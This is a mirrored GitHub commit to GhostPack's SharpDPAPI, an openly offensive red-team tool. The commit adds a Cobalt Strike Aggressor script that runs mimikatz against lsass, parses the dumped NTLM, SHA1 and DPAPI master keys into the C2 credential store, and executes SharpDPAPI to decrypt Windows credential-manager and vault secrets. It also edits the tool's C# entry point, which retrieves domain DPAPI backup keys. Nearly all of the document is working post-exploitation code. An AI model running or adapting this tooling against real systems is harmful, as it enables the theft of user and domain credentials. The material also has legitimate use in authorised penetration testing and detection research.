mirror of
https://github.com/GhostPack/SharpDPAPI.git
synced 2026-11-10 02:01:27 -10:00
Added aggressor script, add try/catch in main()
This commit is contained in:
1 parent
cbb4d533fd
commit
90ff5b4104
2 files changed
+529
-236
No files matched your search
+289
@@ -0,0 +1,289 @@
|
||||
# author: @tifkin_
|
||||
|
||||
global('$SharpDPAPI::AssemblyPath');
|
||||
|
||||
$SharpDPAPI::AssemblyPath = "/path/to/SharpDPAPI.exe";
|
||||
|
||||
if(!-exists $SharpDPAPI::AssemblyPath) {
|
||||
show_error("SharpDPAPI path not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
# Extract DPAPI creds from mimikatz output
|
||||
on beacon_output {
|
||||
local('$hostname $account $domain $ntlm $sha1 $dpapi $password $length $guid $source');
|
||||
|
||||
$hostname = binfo($1,"internal") . " (" . binfo($1,"computer") . ")";
|
||||
|
||||
# DPAPI/SHA1 Keys from sekurlsa::logonPasswords
|
||||
while ($2 hasmatch 'Username : (.*).*[\n\r].*Domain : (.*)[\n\r].*NTLM.*[\n\r].*SHA1 : (.*)[\n\r].*DPAPI : (.*)[\n\r]') {
|
||||
$account = matched()[0];
|
||||
$domain = matched()[1];
|
||||
$sha1 = matched()[2];
|
||||
$dpapi = matched()[3];
|
||||
|
||||
if($sha1) {
|
||||
credential_add($account, $sha1, $domain, "mimikatz: SHA1", $hostname);
|
||||
}
|
||||
|
||||
if($dpapi) {
|
||||
credential_add($account, $dpapi, $domain, "mimikatz: DPAPI", $hostname);
|
||||
}
|
||||
}
|
||||
|
||||
# DPAPI masterkeys and SHA1 Keys from sekurlsa::dpapi
|
||||
if ($2 hasmatch ' \* MasterKey :') {
|
||||
SharpDPAPI::ParseMasterKeys($1, $2, $hostname);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
sub SharpDPAPI::ParseMasterKeys {
|
||||
local('$1 $2 $beaconId $output $hostname $State $line $UserName $Domain $guid $masterkey $sha1 $STATE_ScanningForHeader $STATE_ParsingHeader $STATE_ScanningForKeyHeader $STATE_ParsingKeys');
|
||||
|
||||
$beaconId = $1;
|
||||
$output = $2;
|
||||
$hostname = $3;
|
||||
|
||||
$guid = "";
|
||||
$masterkey = "";
|
||||
$sha1 = "";
|
||||
$Domain = "";
|
||||
$UserName = "";
|
||||
|
||||
# States = 1 ScanningForHeader, 2 ParsingHeader, 3 ScanningForKeyHeader, 4 ParsingKeys
|
||||
$STATE_ScanningForHeader = 1;
|
||||
$STATE_ParsingHeader = 2;
|
||||
$STATE_ScanningForKeyHeader = 3;
|
||||
$STATE_ParsingKeys = 4;
|
||||
|
||||
$State = $STATE_ScanningForHeader;
|
||||
|
||||
foreach $line (split("\n", ["$output" trim])) {
|
||||
# 1 = ScanningForHeader
|
||||
if($State == $STATE_ScanningForHeader) { # Scanning
|
||||
if($line ismatch 'Authentication Id :.*') {
|
||||
$State = $STATE_ParsingHeader;
|
||||
#println("StateChange: ScanningForHeader")
|
||||
continue;
|
||||
} else if($line eq "Sleep : 111 ms... End !") {
|
||||
blog($beaconId, "Mimikatz complete. Executing SharpDPAPI");
|
||||
sleep(2000); # Ugh, wait for the server to sync the creds locally
|
||||
SharpDPAPI::ExecuteSharpDPAPI($1, true);
|
||||
return;
|
||||
} else if($line eq "Sleep : 112 ms... End !") {
|
||||
blog($beaconId, "Mimikatz complete. Executing SharpDPAPI...");
|
||||
sleep(2000); # Ugh, wait for the server to sync the creds locally
|
||||
SharpDPAPI::ExecuteSharpDPAPI($1, false);
|
||||
return;
|
||||
} else {
|
||||
# Unexpected content, so we'll keep scanning for a header
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
# 2 = ParsingHeader
|
||||
if($State == $STATE_ParsingHeader) {
|
||||
if($line ismatch 'User Name : (.*)') {
|
||||
$UserName = matched()[0];
|
||||
} else if($line ismatch 'Domain : (.*)') {
|
||||
$Domain = matched()[0];
|
||||
} else if($line ismatch 'SID : .*') {
|
||||
$State = $STATE_ScanningForKeyHeader;
|
||||
#println("StateChange: ParsingKeys(cont.)")
|
||||
continue;
|
||||
} else if($line ismatch '(Session|Logon Server|Logon Time)\W+: .*') {
|
||||
# Still in the header, but we don't care about these fields
|
||||
#println("StateChange: ParsingHeader(cont.)")
|
||||
continue;
|
||||
} else {
|
||||
#println("StateChange: ScanningForHeader(cont.)")
|
||||
$State = $STATE_ScanningForHeader;
|
||||
$guid = "";
|
||||
$masterkey = "";
|
||||
$sha1 = "";
|
||||
$Domain = "";
|
||||
$UserName = "";
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
# 3 = ScanningForKeyHeader
|
||||
if($State == $STATE_ScanningForKeyHeader) {
|
||||
if($line ismatch ' \[\d+\]') { # Start of key
|
||||
$guid = "";
|
||||
$masterkey = "";
|
||||
$sha1 = "";
|
||||
$State = $STATE_ParsingKeys;
|
||||
continue;
|
||||
} else {
|
||||
$State = $STATE_ScanningForHeader;
|
||||
$guid = "";
|
||||
$masterkey = "";
|
||||
$sha1 = "";
|
||||
$Domain = "";
|
||||
$UserName = "";
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if($State == $STATE_ParsingKeys) {
|
||||
if($line ismatch ' \* GUID : (.*)') { # Start of key
|
||||
$guid = matched()[0];
|
||||
} else if($line ismatch ' \* Time : .*') { # Start of key
|
||||
continue;
|
||||
} else if($line ismatch ' \* MasterKey : (.*)') { # Start of key
|
||||
$masterkey = matched()[0];
|
||||
} else if($line ismatch ' \* sha1\(key\) : (.*)') { # Start of key
|
||||
$sha1 = matched()[0];
|
||||
|
||||
#if($masterkey) {
|
||||
# credential_add($UserName, "$guid:$masterkey", $Domain, "mimikatz: DPAPI Master Key", $hostname);
|
||||
#}
|
||||
if($sha1) {
|
||||
credential_add($UserName, $guid . ":" . $sha1, $Domain, "mimikatz: DPAPI Master Key SHA1", $hostname);
|
||||
}
|
||||
|
||||
$guid = "";
|
||||
$masterkey = "";
|
||||
$sha1 = "";
|
||||
|
||||
$State = $STATE_ScanningForKeyHeader;
|
||||
continue;
|
||||
} else {
|
||||
# ERROR
|
||||
$guid = "";
|
||||
$masterkey = "";
|
||||
$sha1 = "";
|
||||
$Domain = "";
|
||||
$UserName = "";
|
||||
|
||||
$State = $STATE_ScanningForHeader;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
beacon_command_register(
|
||||
"sharpDPAPI",
|
||||
"Extracts credential manager and vault credentials using SharpDPAPI.",
|
||||
|
||||
"Use: sharpDPAPI [-dump] [-allkeys]\n" .
|
||||
"Arguments:\n" .
|
||||
" -dump Use mimikatz to dump DPAPI keys from lsass using Mimikatz's sekurlsa::dpapi\n" .
|
||||
" -allkeys Use all DPAPI keys found in the credential store (not just the DPAPI keys found on this host)\n\n" .
|
||||
"Extracts credential manager and vault credentials using SharpDPAPI. Extracts DPAPI master keys using Mimikatz."
|
||||
);
|
||||
|
||||
|
||||
alias sharpDPAPI {
|
||||
local('$1 $2 $3 $bid $DumpKeys $UseAllKeys');
|
||||
|
||||
$bid = $1;
|
||||
$Dumpkeys = $false;
|
||||
$UseAllKeys = $false;
|
||||
|
||||
if(lc($2) eq "-dump" || lc($3) eq "-dump") {
|
||||
$DumpKeys = true;
|
||||
}
|
||||
|
||||
if(lc($2) eq "-allkeys" || lc($3) eq "-allkeys") {
|
||||
$UseAllKeys = true;
|
||||
}
|
||||
|
||||
if($DumpKeys) {
|
||||
if(-isadmin $1) {
|
||||
# Keep the sleep in there. Janky way to pass an argument later...
|
||||
|
||||
if($UseAllKeys) {
|
||||
bmimikatz($1, "sekurlsa::dpapi\ndpapi::cache\nstandard::sleep 111");
|
||||
} else {
|
||||
bmimikatz($1, "sekurlsa::dpapi\ndpapi::cache\nstandard::sleep 112");
|
||||
}
|
||||
} else {
|
||||
berror($1, "You need to be an administrator.");
|
||||
}
|
||||
} else {
|
||||
SharpDPAPI::ExecuteSharpDPAPI($bid, $UseAllKeys);
|
||||
}
|
||||
}
|
||||
|
||||
# 1 = bid, $UseAllKeys
|
||||
sub SharpDPAPI::ExecuteSharpDPAPI {
|
||||
local('$1 $bid @masterkeys $UseAllKeys $command');
|
||||
|
||||
$bid = $1;
|
||||
$UseAllKeys = $2;
|
||||
|
||||
@masterkeys = SharpDPAPI::GetMasterkeysFromCredStore($bid, $UseAllKeys);
|
||||
|
||||
if(size(@masterkeys) > 0) {
|
||||
$command = "triage " . join(" ", @masterkeys);
|
||||
bexecute_assembly($bid, $SharpDPAPI::AssemblyPath, $command);
|
||||
} else {
|
||||
if($UseAllKeys) {
|
||||
berror($1,
|
||||
"No masterkeys found.\n" .
|
||||
"If admin, run \"SharpDPAPI -dump\" to dump the masterkeys on the current machine from lsass.exe");
|
||||
} else {
|
||||
berror($1,
|
||||
"No masterkeys found on the current host.\n" .
|
||||
"If admin, run \"SharpDPAPI -dump\" to dump the masterkeys on the current machine from lsass.exe\n" .
|
||||
"or run \"SharpDPAPI -allkeys\" to use all DPAPI keys found in the credential store.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
beacon_command_register(
|
||||
"sharpDPAPI_masterkeysToClipboard",
|
||||
"Copies all DPAPI master keys in the credential store to the clipboard.",
|
||||
|
||||
"Use: sharpDPAPI_masterkeysToClipboard\n\n" .
|
||||
"Copies all DPAPI master keys in the credential store to the clipboard.",
|
||||
);
|
||||
|
||||
# 1 = ReturnAllKeys
|
||||
alias sharpDPAPI_masterkeysToClipboard {
|
||||
local('@masterkeys $out $bid');
|
||||
|
||||
$bid = $1;
|
||||
|
||||
@masterkeys = SharpDPAPI::GetMasterkeysFromCredStore($bid, true);
|
||||
|
||||
$out = join(" ", @masterkeys);
|
||||
blog($1, "DPAPI master keys currently in Cobalt Strike's credential store (use these with SharpDPAPI):\n\n" . $out);
|
||||
add_to_clipboard($out);
|
||||
}
|
||||
|
||||
|
||||
# 1 = bid, 2 = ReturnAllKeys
|
||||
sub SharpDPAPI::GetMasterkeysFromCredStore {
|
||||
local('$1 $2 $bid %cred @masterkeys');
|
||||
|
||||
$bid = $1;
|
||||
$ReturnAllKeys = $2;
|
||||
|
||||
foreach %cred (credentials()) {
|
||||
|
||||
# Only return masterkeys on the current host
|
||||
if($ReturnAllKeys eq false) {
|
||||
if(!%cred["host"]) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if(![%cred["host"] contains: binfo($bid, "host")]) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if(%cred["password"] ismatch '\{[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}\}:.*') {
|
||||
push(@masterkeys, %cred["password"]);
|
||||
}
|
||||
}
|
||||
|
||||
return @masterkeys;
|
||||
}
|
||||
+240
-236
@@ -43,282 +43,286 @@ namespace SharpDPAPI
|
||||
|
||||
static void Main(string[] args)
|
||||
{
|
||||
Logo();
|
||||
try {
|
||||
Logo();
|
||||
|
||||
if (args.Length < 1)
|
||||
{
|
||||
Usage();
|
||||
return;
|
||||
}
|
||||
if (args.Length < 1)
|
||||
{
|
||||
Usage();
|
||||
return;
|
||||
}
|
||||
|
||||
var arguments = new Dictionary<string, string>();
|
||||
foreach (string argument in args)
|
||||
{
|
||||
int idx = argument.IndexOf(':');
|
||||
if (idx > 0)
|
||||
{
|
||||
string key = argument.Substring(0, idx);
|
||||
string value = argument.Substring(idx + 1);
|
||||
var arguments = new Dictionary<string, string>();
|
||||
foreach (string argument in args)
|
||||
{
|
||||
int idx = argument.IndexOf(':');
|
||||
if (idx > 0)
|
||||
{
|
||||
string key = argument.Substring(0, idx);
|
||||
string value = argument.Substring(idx + 1);
|
||||
|
||||
if (!key.StartsWith("/"))
|
||||
{
|
||||
// meaning the guid:masterkey mappings. we want to ensure standard {GUID}:SHA1 formatting
|
||||
if (!key.StartsWith("{"))
|
||||
{
|
||||
key = String.Format("{{{0}}}", key);
|
||||
}
|
||||
}
|
||||
if (!key.StartsWith("/"))
|
||||
{
|
||||
// meaning the guid:masterkey mappings. we want to ensure standard {GUID}:SHA1 formatting
|
||||
if (!key.StartsWith("{"))
|
||||
{
|
||||
key = String.Format("{{{0}}}", key);
|
||||
}
|
||||
}
|
||||
|
||||
arguments[key] = value;
|
||||
}
|
||||
else
|
||||
{
|
||||
arguments[argument] = "";
|
||||
}
|
||||
}
|
||||
arguments[key] = value;
|
||||
}
|
||||
else
|
||||
{
|
||||
arguments[argument] = "";
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("backupkey"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n");
|
||||
string server = "";
|
||||
string outFile = "";
|
||||
if (arguments.ContainsKey("backupkey"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n");
|
||||
string server = "";
|
||||
string outFile = "";
|
||||
|
||||
if (arguments.ContainsKey("/server"))
|
||||
{
|
||||
server = arguments["/server"];
|
||||
Console.WriteLine("\r\n[*] Using server : {0}", server);
|
||||
}
|
||||
else
|
||||
{
|
||||
server = Interop.GetDCName();
|
||||
if (String.IsNullOrEmpty(server))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Console.WriteLine("\r\n[*] Using current domain controller : {0}", server);
|
||||
}
|
||||
if (arguments.ContainsKey("/server"))
|
||||
{
|
||||
server = arguments["/server"];
|
||||
Console.WriteLine("\r\n[*] Using server : {0}", server);
|
||||
}
|
||||
else
|
||||
{
|
||||
server = Interop.GetDCName();
|
||||
if (String.IsNullOrEmpty(server))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Console.WriteLine("\r\n[*] Using current domain controller : {0}", server);
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/file"))
|
||||
{
|
||||
outFile = arguments["/file"];
|
||||
}
|
||||
if (arguments.ContainsKey("/file"))
|
||||
{
|
||||
outFile = arguments["/file"];
|
||||
}
|
||||
|
||||
Backup.GetBackupKey(server, outFile);
|
||||
}
|
||||
Backup.GetBackupKey(server, outFile);
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("masterkeys"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Triage Masterkey Files\r\n");
|
||||
byte[] backupKeyBytes;
|
||||
|
||||
if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
string pvk64 = arguments["/pvk"];
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key must be supplied!");
|
||||
return;
|
||||
}
|
||||
if (arguments.ContainsKey("masterkeys"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: Triage Masterkey Files\r\n");
|
||||
byte[] backupKeyBytes;
|
||||
|
||||
if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
string pvk64 = arguments["/pvk"];
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key must be supplied!");
|
||||
return;
|
||||
}
|
||||
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, true);
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, true);
|
||||
|
||||
Console.WriteLine("\r\n[*] Master key cache:\r\n");
|
||||
foreach (KeyValuePair<string, string> kvp in mappings)
|
||||
{
|
||||
Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
|
||||
}
|
||||
return;
|
||||
}
|
||||
Console.WriteLine("\r\n[*] Master key cache:\r\n");
|
||||
foreach (KeyValuePair<string, string> kvp in mappings)
|
||||
{
|
||||
Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("credentials"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: DPAPI Credential Triage\r\n");
|
||||
arguments.Remove("credentials");
|
||||
else if (arguments.ContainsKey("credentials"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: DPAPI Credential Triage\r\n");
|
||||
arguments.Remove("credentials");
|
||||
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
string target = arguments["/target"];
|
||||
arguments.Remove("/target");
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
string target = arguments["/target"];
|
||||
arguments.Remove("/target");
|
||||
|
||||
if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
byte[] backupKeyBytes;
|
||||
if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
byte[] backupKeyBytes;
|
||||
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
|
||||
// build a {GUID}:SHA1 masterkey mappings
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
// build a {GUID}:SHA1 masterkey mappings
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
arguments = mappings;
|
||||
}
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
arguments = mappings;
|
||||
}
|
||||
|
||||
if (File.Exists(target))
|
||||
{
|
||||
Console.WriteLine("[*] Target Credential File: {0}\r\n", target);
|
||||
Triage.TriageCredFile(target, arguments);
|
||||
}
|
||||
else if (Directory.Exists(target))
|
||||
{
|
||||
Console.WriteLine("[*] Target Credential Folder: {0}\r\n", target);
|
||||
Triage.TriageCredFolder(target, arguments);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target);
|
||||
}
|
||||
}
|
||||
if (File.Exists(target))
|
||||
{
|
||||
Console.WriteLine("[*] Target Credential File: {0}\r\n", target);
|
||||
Triage.TriageCredFile(target, arguments);
|
||||
}
|
||||
else if (Directory.Exists(target))
|
||||
{
|
||||
Console.WriteLine("[*] Target Credential Folder: {0}\r\n", target);
|
||||
Triage.TriageCredFolder(target, arguments);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target);
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
else if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
|
||||
byte[] backupKeyBytes;
|
||||
byte[] backupKeyBytes;
|
||||
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
|
||||
// build a {GUID}:SHA1 masterkey mappings
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
// build a {GUID}:SHA1 masterkey mappings
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
|
||||
Triage.TriageCreds(mappings);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Triage.TriageCreds(arguments);
|
||||
}
|
||||
}
|
||||
Triage.TriageCreds(mappings);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Triage.TriageCreds(arguments);
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("vaults"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: DPAPI Vault Triage\r\n");
|
||||
arguments.Remove("vaults");
|
||||
else if (arguments.ContainsKey("vaults"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: DPAPI Vault Triage\r\n");
|
||||
arguments.Remove("vaults");
|
||||
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
string target = arguments["/target"];
|
||||
arguments.Remove("/target");
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
string target = arguments["/target"];
|
||||
arguments.Remove("/target");
|
||||
|
||||
if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
byte[] backupKeyBytes;
|
||||
if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
byte[] backupKeyBytes;
|
||||
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
|
||||
// build a {GUID}:SHA1 masterkey mappings
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
// build a {GUID}:SHA1 masterkey mappings
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
arguments = mappings;
|
||||
}
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
arguments = mappings;
|
||||
}
|
||||
|
||||
if (Directory.Exists(target))
|
||||
{
|
||||
Console.WriteLine("[*] Target Vault Folder: {0}\r\n", target);
|
||||
Triage.TriageVaultFolder(target, arguments);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] '{0}' is not a valid Vault directory.", target);
|
||||
}
|
||||
}
|
||||
else if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
if (Directory.Exists(target))
|
||||
{
|
||||
Console.WriteLine("[*] Target Vault Folder: {0}\r\n", target);
|
||||
Triage.TriageVaultFolder(target, arguments);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] '{0}' is not a valid Vault directory.", target);
|
||||
}
|
||||
}
|
||||
else if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
|
||||
byte[] backupKeyBytes;
|
||||
byte[] backupKeyBytes;
|
||||
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
if (File.Exists(pvk64))
|
||||
{
|
||||
backupKeyBytes = File.ReadAllBytes(pvk64);
|
||||
}
|
||||
else
|
||||
{
|
||||
backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
}
|
||||
|
||||
// build a {GUID}:SHA1 masterkey mappings
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
// build a {GUID}:SHA1 masterkey mappings
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
|
||||
Triage.TriageVaults(mappings);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Triage.TriageVaults(arguments);
|
||||
}
|
||||
}
|
||||
Triage.TriageVaults(mappings);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Triage.TriageVaults(arguments);
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("triage"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: DPAPI Credential and Vault Triage\r\n");
|
||||
arguments.Remove("triage");
|
||||
else if (arguments.ContainsKey("triage"))
|
||||
{
|
||||
Console.WriteLine("\r\n[*] Action: DPAPI Credential and Vault Triage\r\n");
|
||||
arguments.Remove("triage");
|
||||
|
||||
if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
byte[] backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
if (arguments.ContainsKey("/pvk"))
|
||||
{
|
||||
// using a domain backup key to decrypt everything
|
||||
string pvk64 = arguments["/pvk"];
|
||||
byte[] backupKeyBytes = Convert.FromBase64String(pvk64);
|
||||
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
|
||||
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
|
||||
|
||||
Triage.TriageCreds(mappings);
|
||||
Triage.TriageVaults(mappings);
|
||||
return;
|
||||
}
|
||||
Triage.TriageCreds(mappings);
|
||||
Triage.TriageVaults(mappings);
|
||||
return;
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
Triage.TriageCreds(arguments);
|
||||
Triage.TriageVaults(arguments);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Triage.TriageCreds(arguments);
|
||||
Triage.TriageVaults(arguments);
|
||||
}
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
Usage();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Usage();
|
||||
}
|
||||
} catch(Exception e) {
|
||||
Console.WriteLine("Unhandled error: " + e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user